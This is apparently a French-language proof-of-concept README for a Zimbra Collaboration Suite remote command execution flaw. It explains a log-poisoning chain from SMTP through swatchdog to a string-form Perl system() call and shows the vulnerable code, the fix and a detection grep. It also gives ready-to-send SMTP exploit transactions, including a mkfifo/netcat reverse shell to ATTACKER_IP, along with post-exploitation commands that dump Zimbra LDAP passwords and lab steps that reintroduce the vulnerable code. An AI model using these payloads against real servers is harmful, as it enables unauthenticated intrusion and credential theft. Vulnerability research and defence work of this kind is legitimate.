
Zimbra Collaboration Suite RCE — Empoisonnement des journaux SMTP → swatchdog → Injection de commandes système (CVSS 8.9, CISA KEV)
Remarque : Ce dépôt contient une analyse technique indépendante et une reproduction PoC de CVE-2026-73570. Il ne s'agit pas du rapport de vulnérabilité original.
RCE dans Zimbra Collaboration Suite — empoisonnement des journaux SMTP → swatchdog → injection de commande OS (CVSS 8.9, CISA KEV)
Type : Injection de commande OS → RCE non authentifiée
Vecteur : empoisonnement des journaux SMTP → swatchdog → expansion shell sous forme de chaîne de dosnmp
Plage de versions affectées par le fournisseur/CVE : Zimbra Collaboration Suite < 10.1.20
Prérequis : zimbra-snmp installé ; notifications SNMP activées
CVSS : 8.9 (Élevé)
CISA KEV : Oui — ajouté au catalogue CISA des vulnérabilités connues exploitées
Correctif : Zimbra 10.1.20 (publié le 2026-07-20)
Remarque sur la plage de versions : Les métadonnées du fournisseur/CVE indiquent que les versions affectées sont Zimbra < 10.1.20. Toutefois, le code source de Zimbra 10.1.0 examiné lors de cette recherche utilisait déjà l'appel sûr
system()sous forme de liste. Cela suggère que l'implémentation vulnérable sous forme de chaîne a été introduite dans une build intermédiaire puis corrigée dans 10.1.20, mais la version exacte où la régression a été introduite n'a pas été vérifiée indépendamment à partir de l'historique du dépôt.
La vulnérabilité se trouve dans /opt/zimbra/conf/swatchrc.in, au sein de la fonction dosnmp chargée d'envoyer des notifications de trap SNMP lorsqu'un service Zimbra change d'état.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}"
);
}
L'implémentation vulnérable utilise la forme chaîne de system() de Perl. La commande résultante est interprétée par un shell, ce qui permet l'évaluation des métacaractères du shell et des substitutions de commandes telles que $(...) contenues dans $args{SERVICE}.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"/opt/zimbra/common/bin/snmptrap",
"-v", "2c",
"-c", "zimbra",
$traphost,
"",
$snmpsvctrap,
$snmpsvcname,
"s",
$args{SERVICE},
$snmpsvcstatus,
"i",
$statuses{$args{STATUS}}
);
}
Le correctif de sécurité central consiste à passer de la forme chaîne à la forme liste de system(), empêchant ainsi l'interprétation par le shell de données contrôlées par l'attaquant.
Avec la forme liste, l'exécutable et ses arguments sont passés séparément. Des valeurs telles que $(cmd) sont traitées comme des données littérales plutôt que comme une syntaxe shell.
Attacker (Kali)
│
│ SMTP RCPT TO with crafted quoted local-part
│ containing the swatchdog pattern + payload
▼
Postfix/smtpd (Zimbra server, port 25)
│
│ Accepts the RCPT TO
│ Logs it to /var/log/zimbra.log
▼
swatchdog (running as zimbra)
│
│ Pattern:
│ /: Service status change: (\S+) (.*) changed from stopped to running/
│
│ Captures attacker-controlled content
│ and passes it to donotify()
▼
donotify()
│
▼
dosnmp()
│
│ system("$snmptrap ... $args{SERVICE} ...")
▼
/bin/sh
│
│ Expands $(payload)
▼
Command execution as "zimbra"
│
▼
Reverse shell / post-exploitation
Le problème clé est le flux de données complet :
SMTP
→ Postfix
→ /var/log/zimbra.log
→ swatchdog
→ donotify()
→ dosnmp()
→ string-form system()
→ shell interpretation
→ command execution
Postfix accepte la partie locale entre guillemets spécialement conçue et l'enregistre dans zimbra.log. swatchdog interprète ensuite le contenu de journal correspondant comme un événement de statut de service, permettant aux données contrôlées par l'attaquant d'atteindre l'invocation vulnérable de system().
Les commandes suivantes ont été testées uniquement dans un environnement de laboratoire isolé.
Se connecter au service SMTP cible :
nc <target> 25
Envoyez une transaction SMTP spécialement conçue :
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
Si l'exploitation réussit, /tmp/pwned_rce contient une sortie similaire à :
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
Cela confirme l'exécution de commandes dans le contexte de l'utilisateur zimbra.
Démarrez un écouteur sur la machine de l'attaquant :
nc -lvnp 4444
Puis transmettez la charge utile via SMTP :
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
QUIT
Une exploitation réussie aboutit à un shell interactif s'exécutant en tant qu'utilisateur zimbra.
Attacker (Kali): 10.0.2.15
Victim (Ubuntu): 10.0.2.22
Hostname: mail.lab.local
VirtualBox NAT Network: 10.0.2.0/24
La source Zimbra 10.1.0 examinée au cours de cette recherche contenait déjà l'implémentation sûre de system() sous forme de liste.
Par conséquent, l'installation standard de 10.1.0 utilisée dans ce laboratoire n'a pas été considérée comme une preuve que Zimbra 10.1.0 lui-même était vulnérable.
Pour reproduire la condition vulnérable décrite par CVE-2026-73570, swatchrc.in a été modifié manuellement afin d'utiliser l'implémentation vulnérable de system() sous forme de chaîne.
Sauvegardez la configuration d'origine :
cp /opt/zimbra/conf/swatchrc.in \
/opt/zimbra/conf/swatchrc.in.bak
Le comportement vulnérable peut ensuite être reproduit dans le laboratoire isolé en appliquant l'implémentation sous forme de chaîne présentée dans la section Cause racine et en exécutant swatchdog contre le journal Zimbra.
Exemple :
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
Cette modification du lab existe uniquement pour reproduire et analyser le flux de données vulnérable. Elle ne doit pas être interprétée comme la preuve que la version 10.1.0 non modifiée était vulnérable.
Une exploitation réussie permet l'exécution de commandes en tant qu'utilisateur zimbra.
Confirmez le contexte d'exécution :
id
Exemple :
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
La configuration locale de Zimbra peut exposer des identifiants accessibles au compte de service compromis.
Par exemple :
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
Ces identifiants peuvent donner accès à l'annuaire LDAP de Zimbra et démontrer l'impact post-exploitation de l'obtention d'une exécution de commandes en tant qu'utilisateur zimbra.
Recherchez dans les journaux Postfix/Zimbra les entrées de destinataires SMTP contenant le motif d'état du service swatchdog :
grep -E 'to=<".*Service status change.*"@' /var/log/zimbra.log